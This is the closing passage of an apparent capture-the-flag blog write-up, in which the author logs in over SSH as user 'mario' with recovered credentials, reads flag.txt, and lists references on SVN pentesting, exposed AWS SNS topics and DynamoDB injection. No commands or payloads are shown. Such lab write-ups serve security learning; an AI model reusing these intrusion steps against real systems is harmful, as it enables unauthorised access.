<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEhjU0LqcmbfU2IxcSyI6SaovuQa6cyYgrluirunWI7s5YPvdSgUOXqEMztPAucC4q6CASlGxa9ZO1IKQ-p7lfF3PWKRtf2APjaWHSNH9zgSmSFv3KasLyh8xrV3yY_-GW7CKb1gqIZ0IWskUteqEY2ZS20SKlYl1GyAfGFD1V9bUYXSjqnDDUaCe0FKUw=w640-h336" alt /></p>
<p>After a while i guess it is credentials to access the machine directly using <code>ssh</code> since it is the only services we not touching yet.</p>
<p>Finally, when i <code>ssh</code> using username <code>mario</code> the authentication success then i just need to read <code>flag.txt</code> file. Yeaaay first challenge solved!!!</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEifNAc2Lpyz0UwfTEBVoYdFTfLp0YDecCVzpxMNInQKIG5plows06lR61_HmRpxoJrlN3ROd_UQ-SedEi-uFOHFEkC51mttsLJWpHKgY-0OMiP6wdut3xFznZ8HPxHHbAnj2YD7GtoYaFkecWr4W6dLQ0cmCGOKiyffxRVQtAD1upSIbq0TZ0Tw_Bg08g=w640-h208" alt /></p>
<p>Reference:</p>
<ul>
<li><p><a target="_blank" href="https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server">https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server</a></p>
</li>
<li><p><a target="_blank" href="https://tutorgeeks.blogspot.com/2019/11/publicly-exposed-aws-sns-topics.html">https://tutorgeeks.blogspot.com/2019/11/publicly-exposed-aws-sns-topics.html</a></p>
</li>
<li><p><a target="_blank" href="https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac">https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac</a></p>
</li>
</ul>
]]></content:encoded></item></channel></rss>